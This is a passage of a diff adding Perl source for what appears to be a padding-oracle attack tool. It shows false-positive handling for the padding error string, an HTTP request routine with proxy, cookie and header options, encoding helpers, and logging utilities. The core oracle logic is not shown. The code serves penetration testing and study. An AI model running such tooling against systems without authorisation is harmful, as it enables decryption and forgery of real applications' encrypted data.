$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
|
595
|
+
if ($continue ne "n") {
|
596
|
+
&myPrint("INFO: Switching to interactive mode",0);
|
597
|
+
$interactive = 1;
|
598
|
+
$repeat = 1;
|
599
|
+
last OUTERLOOP;
|
600
|
+
}
|
601
|
+
}
|
602
|
+
}
|
603
|
+
if ($falsePositiveDetector == $blockSize) {
|
604
|
+
&myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
|
605
|
+
&myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
|
606
|
+
if ($error) {
|
607
|
+
&myPrint("[+] Check the error string you provided and try again, or consider running",0);
|
608
|
+
&myPrint("[+] without an error string to perform an automated response analysis.\n",0);
|
609
|
+
} else {
|
610
|
+
&myPrint("[+] You may want to consider defining a custom padding error string",0);
|
611
|
+
&myPrint("[+] instead of the automated response analysis.\n",0);
|
612
|
+
}
|
613
|
+
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
|
614
|
+
if ($continue eq "y") {
|
615
|
+
&myPrint("INFO: Switching to interactive mode",0);
|
616
|
+
$interactive = 1;
|
617
|
+
$repeat = 1;
|
618
|
+
last OUTERLOOP;
|
619
|
+
}
|
620
|
+
}
|
621
|
+
}
|
622
|
+
}
|
623
|
+
($repeat == 1) ? ($complete = 0) : ($complete = 1);
|
624
|
+
}
|
625
|
+
return $returnValue;
|
626
|
+
}
|
627
|
+
|
628
|
+
sub makeRequest {
|
629
|
+
|
630
|
+
my ($method, $url, $data, $cookie) = @_;
|
631
|
+
my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
|
632
|
+
my $numRetries = 0;
|
633
|
+
$data ='' unless $data;
|
634
|
+
$cookie='' unless $cookie;
|
635
|
+
|
636
|
+
$requestTracker++;
|
637
|
+
do {
|
638
|
+
#Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
|
639
|
+
$ENV{HTTPS_PROXY} = "";
|
640
|
+
|
641
|
+
$lwp = LWP::UserAgent->new(env_proxy => 1,
|
642
|
+
keep_alive => 1,
|
643
|
+
timeout => 30,
|
644
|
+
requests_redirectable => [],
|
645
|
+
);
|
646
|
+
|
647
|
+
$req = new HTTP::Request $method => $url;
|
648
|
+
|
649
|
+
&myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
|
650
|
+
|
651
|
+
# Add request content for POST and PUTS
|
652
|
+
if ($data) {
|
653
|
+
$req->content_type('application/x-www-form-urlencoded');
|
654
|
+
$req->content($data);
|
655
|
+
}
|
656
|
+
|
657
|
+
if ($proxy) {
|
658
|
+
my $proxyUrl = "http://";
|
659
|
+
if ($proxyAuth) {
|
660
|
+
my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
|
661
|
+
$ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
|
662
|
+
$ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
|
663
|
+
$proxyUrl .= $proxyAuth."@";
|
664
|
+
}
|
665
|
+
$proxyUrl .= $proxy;
|
666
|
+
$lwp->proxy(['http'], "http://".$proxy);
|
667
|
+
$ENV{HTTPS_PROXY} = "http://".$proxy;
|
668
|
+
}
|
669
|
+
|
670
|
+
|
671
|
+
if ($auth) {
|
672
|
+
my ($httpuser, $httppass) = split(/:/,$auth);
|
673
|
+
$req->authorization_basic($httpuser, $httppass);
|
674
|
+
}
|
675
|
+
|
676
|
+
# If cookies are defined, add a COOKIE header
|
677
|
+
if (! $cookie eq "") {
|
678
|
+
$req->header(Cookie => $cookie);
|
679
|
+
}
|
680
|
+
|
681
|
+
if ($headers) {
|
682
|
+
my @customHeaders = split(/;/i,$headers);
|
683
|
+
for (my $i = 0; $i <= $#customHeaders; $i++) {
|
684
|
+
my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
|
685
|
+
$req->header($headerName, $headerVal);
|
686
|
+
}
|
687
|
+
}
|
688
|
+
|
689
|
+
my $startTime = &gettimeofday();
|
690
|
+
my $response = $lwp->request($req);
|
691
|
+
my $endTime = &gettimeofday();
|
692
|
+
$timeTracker = $timeTracker + ($endTime - $startTime);
|
693
|
+
|
694
|
+
if ($printStats == 1 && $requestTracker % 250 == 0) {
|
695
|
+
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
|
696
|
+
$timeTracker = 0;
|
697
|
+
}
|
698
|
+
|
699
|
+
|
700
|
+
# Extract the required attributes from the response
|
701
|
+
$status = substr($response->status_line, 0, 3);
|
702
|
+
$content = $response->content;
|
703
|
+
|
704
|
+
&myPrint("Response Content:\n$content",0) if $superVerbose;
|
705
|
+
$location = $response->header("Location");
|
706
|
+
if (!$location) {
|
707
|
+
$location = "N/A";
|
708
|
+
}
|
709
|
+
#$contentLength = $response->header("Content-Length");
|
710
|
+
$contentLength = length($content);
|
711
|
+
|
712
|
+
|
713
|
+
my $contentEncoding = $response->header("Content-Encoding");
|
714
|
+
if ($contentEncoding) {
|
715
|
+
if ($contentEncoding =~ /GZIP/i ) {
|
716
|
+
$content = Compress::Zlib::memGunzip($content);
|
717
|
+
$contentLength = length($content);
|
718
|
+
}
|
719
|
+
}
|
720
|
+
|
721
|
+
my $statusMsg = $response->status_line;
|
722
|
+
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
|
723
|
+
|
724
|
+
if ($statusMsg =~ /Can't connect/) {
|
725
|
+
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
|
726
|
+
$noConnect = 1;
|
727
|
+
$numRetries++;
|
728
|
+
sleep 10;
|
729
|
+
} else {
|
730
|
+
$noConnect = 0;
|
731
|
+
$totalRequests++;
|
732
|
+
}
|
733
|
+
} until (($noConnect == 0) || ($numRetries >= 15));
|
734
|
+
if ($numRetries >= 15) {
|
735
|
+
&myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
|
736
|
+
exit;
|
737
|
+
}
|
738
|
+
return ($status, $content, $location, $contentLength);
|
739
|
+
}
|
740
|
+
|
741
|
+
sub myPrint {
|
742
|
+
my ($printData, $printLevel) = @_;
|
743
|
+
$printData .= "\n";
|
744
|
+
if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) {
|
745
|
+
print $printData;
|
746
|
+
&writeFile("ActivityLog.txt",$printData);
|
747
|
+
}
|
748
|
+
}
|
749
|
+
|
750
|
+
sub myEncode {
|
751
|
+
my ($toEncode, $format) = @_;
|
752
|
+
return &encodeDecode($toEncode, 0, $format);
|
753
|
+
}
|
754
|
+
|
755
|
+
sub myDecode {
|
756
|
+
my ($toDecode, $format) = @_;
|
757
|
+
return &encodeDecode($toDecode, 1, $format);
|
758
|
+
}
|
759
|
+
|
760
|
+
sub encodeDecode {
|
761
|
+
my ($toEncodeDecode, $oper, $format) = @_;
|
762
|
+
# Oper: 0=Encode, 1=Decode
|
763
|
+
# Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
|
764
|
+
my $returnVal = "";
|
765
|
+
if ($format == 1 || $format == 2) {
|
766
|
+
# HEX
|
767
|
+
if ($oper == 1) {
|
768
|
+
#Decode
|
769
|
+
#Always convert to lower when decoding)
|
770
|
+
$toEncodeDecode = lc($toEncodeDecode);
|
771
|
+
$returnVal = pack("H*",$toEncodeDecode);
|
772
|
+
} else {
|
773
|
+
#Encode
|
774
|
+
$returnVal = unpack("H*",$toEncodeDecode);
|
775
|
+
if ($format == 2) {
|
776
|
+
#Uppercase
|
777
|
+
$returnVal = uc($returnVal)
|
778
|
+
}
|
779
|
+
}
|
780
|
+
} elsif ($format == 3) {
|
781
|
+
# NetUrlToken
|
782
|
+
if ($oper == 1) {
|
783
|
+
$returnVal = &web64Decode($toEncodeDecode,1);
|
784
|
+
} else {
|
785
|
+
$returnVal = &web64Encode($toEncodeDecode,1);
|
786
|
+
}
|
787
|
+
} elsif ($format == 4) {
|
788
|
+
# Web64
|
789
|
+
if ($oper == 1) {
|
790
|
+
$returnVal = &web64Decode($toEncodeDecode,0);
|
791
|
+
} else {
|
792
|
+
$returnVal = &web64Encode($toEncodeDecode,0);
|
793
|
+
}
|
794
|
+
} else {
|
795
|
+
# B64
|
796
|
+
if ($oper == 1) {
|
797
|
+
$returnVal = &decode_base64($toEncodeDecode);
|
798
|
+
} else {
|
799
|
+
$returnVal = &encode_base64($toEncodeDecode);
|
800
|
+
$returnVal =~ s/(\r|\n)//g;
|
801
|
+
}
|
802
|
+
}
|
803
|
+
|
804
|
+
return $returnVal;
|
805
|
+
}
|
806
|
+
|
807
|
+
|
808
|
+
sub web64Encode {
|
809
|
+
my ($input, $net) = @_;
|
810
|
+
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
|
811
|
+
$input = &encode_base64($input);
|
812
|
+
$input =~ s/(\r|\n)//g;
|
813
|
+
$input =~ s/\+/\-/g;
|
814
|
+
$input =~ s/\//\_/g;
|
815
|
+
my $count = $input =~ s/\=//g;
|
816
|
+
$count = 0 if ($count eq "");
|
817
|
+
$input.=$count if ($net == 1);
|
818
|
+
return $input;
|
819
|
+
}
|
820
|
+
|
821
|
+
sub web64Decode {
|
822
|
+
my ($input, $net) = @_;
|
823
|
+
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
|
824
|
+
$input =~ s/\-/\+/g;
|
825
|
+
$input =~ s/\_/\//g;
|
826
|
+
if ($net == 1) {
|
827
|
+
my $count = chop($input);
|
828
|
+
$input = $input.("=" x int($count));
|
829
|
+
}
|
830
|
+
return &decode_base64($input);
|
831
|
+
}
|
832
|
+
|
833
|
+
|
834
|
+
sub promptUser {
|
835
|
+
my($prompt, $default, $yn) = @_;
|
836
|
+
my $defaultValue = $default ? "[$default]" : "";
|
837
|
+
print "$prompt $defaultValue: ";
|
838
|
+
chomp(my $input = <STDIN>);
|
839
|
+
|
840
|
+
$input = $input ? $input : $default;
|
841
|
+
if ($yn) {
|
842
|
+
if ($input =~ /^y|n|a$/) {
|
843
|
+
return $input;
|
844
|
+
} else {
|
845
|
+
&promptUser($prompt, $default, $yn);
|
846
|
+
}
|
847
|
+
} else {
|
848
|
+
if ($input =~ /^-?\d/ && $input > 0 && $input < 256) {
|
849
|
+
return $input;
|
850
|
+
} else {
|
851
|
+
&promptUser($prompt, $default);
|
852
|
+
}
|
853
|
+
}
|
854
|
+
}
|
855
|
+
|
856
|
+
sub writeFile {
|
857
|
+
my ($fileName, $fileContent) = @_;
|
858
|
+
if ($logFiles) {
|
859
|
+
if ($dirExists != 1) {
|
860
|
+
system($dirCmd." ".$dirName);
|
861
|
+
$dirExists = 1;
|
862
|
+
}
|
863
|
+
$fileName = $dirName.$dirSlash.$fileName;
|
864
|
+
open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n";
|
865
|
+
print $OUTFILE $fileContent;
|
866
|
+
close($OUTFILE);
|
867
|
+
}
|
868
|
+
}
|
869
|
+
|
870
|
+
sub getTime {
|
871
|
+
my ($format) = @_;
|
872
|
+
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
|
873
|
+
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
|
874
|
+
my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
|
875
|
+
$month=sprintf("%02d",$month);
|
876
|
+
$day=sprintf("%02d",$day);
|
877
|
+
$hour=sprintf("%02d",$hour);
|
878
|
+
$minute=sprintf("%02d",$minute);
|
879
|
+
$second=sprintf("%02d", $second);
|
880
|
+
$year =~ s/^.//;
|
881
|
+
if ($format eq "F") {
|
882
|
+
return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
|
883
|
+
} elsif ($format eq "S") {
|
884
|
+
return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
|
885
|
+
} else {
|
886
|
+
return $hour.":".$minute.":".$second;
|
887
|
+
}
|
888
|
+
}
|
889
|
+
|